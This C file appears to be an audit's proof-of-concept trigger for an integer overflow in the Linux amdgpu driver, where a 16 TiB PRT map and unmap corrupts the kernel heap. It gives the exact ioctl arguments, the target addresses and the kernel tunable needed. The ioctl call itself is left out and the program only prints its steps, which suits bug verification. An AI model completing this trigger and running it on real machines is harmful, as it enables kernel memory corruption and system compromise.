/*
 * DF-3863 trigger — create a >= 2^32-GPU-page (16 TiB) BO-less PRT mapping,
 * then unmap it, so amdgpu_vm_clear_freed() -> amdgpu_vm_bo_update_mapping()
 * computes nptes = (u32)(2^32) == 0, allocates a tiny IB, and
 * amdgpu_vm_update_ptes() overflows it.
 *
 * REQUIREMENTS (see VERDICT.md):
 *   - AMD GPU (VEGA10 class), render node access
 *   - amdgpu.vm_block_size=16 (loader tunable) so alloc_pts() over 16 TiB
 *     is feasible (<= 65536 leaf page tables); default vm size (256 TB on
 *     VEGA10, gmc_v9_0.c:940) already accommodates the span.
 *
 * Not runnable on the audit guest (no AMD GPU).
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>

/* minimal local UAPI (avoid header drift) */
#include <sys/types.h>
struct drm_amdgpu_gem_va_local {
	uint32_t handle;	/* 0 for PRT */
	uint32_t _pad;
	uint64_t offset_in_bo;
	uint64_t map_size;
	uint64_t va_address;
	uint32_t flags;
	uint32_t operation;
};
#define DRM_IOCTL_BASE		'd'
#define DRM_AMDGPU_GEM_VA	0x14 /* see amdgpu_drm.h ordinal */
#define AMDGPU_VA_OP_MAP	0
#define AMDGPU_VA_OP_UNMAP	1
#define AMDGPU_VM_PAGE_PRT	(1 << 5)

#define VA_ADDR	0x0000000100000000ULL	/* 64 GiB, above reserved area */
#define SPAN	0x0000010000000000ULL	/* 16 TiB = 2^32 GPU pages */

int main(void)
{
	int fd = open("/dev/dri/renderD128", O_RDWR);
	struct drm_amdgpu_gem_va_local va;
	int r;

	if (fd < 0) {
		printf("open(/dev/dri/renderD128): %s — no AMD GPU on this "
		       "system; GEM_VA path unreachable (see VERDICT.md)\n",
		       strerror(errno));
		return 1;
	}

	memset(&va, 0, sizeof(va));
	va.handle	= 0;
	va.va_address	= VA_ADDR;
	va.map_size	= SPAN;
	va.flags	= AMDGPU_VM_PAGE_PRT;
	va.operation	= AMDGPU_VA_OP_MAP;
	/* real ioctl number must be taken from drm/amdgpu_drm.h
	 * (DRM_IOCTL_AMDGPU_GEM_VA = _IOWR(DRM_COMMAND_BASE + 0x14, ...))
	 * kept symbolic here; the point is the uapi arguments. */

	printf("step 1: MAP PRT va=%llx size=%llx (2^32 pages)\n",
	       (unsigned long long)VA_ADDR, (unsigned long long)SPAN);
	printf("step 2: UNMAP same range -> clear_freed -> nptes wraps to 0\n");
	printf("expect (patched vs unpatched): WARN_ON(length_dw > ndw) then\n");
	printf("heap corruption vs -EINVAL/ENOMEM\n");
	close(fd);
	return 0;
}
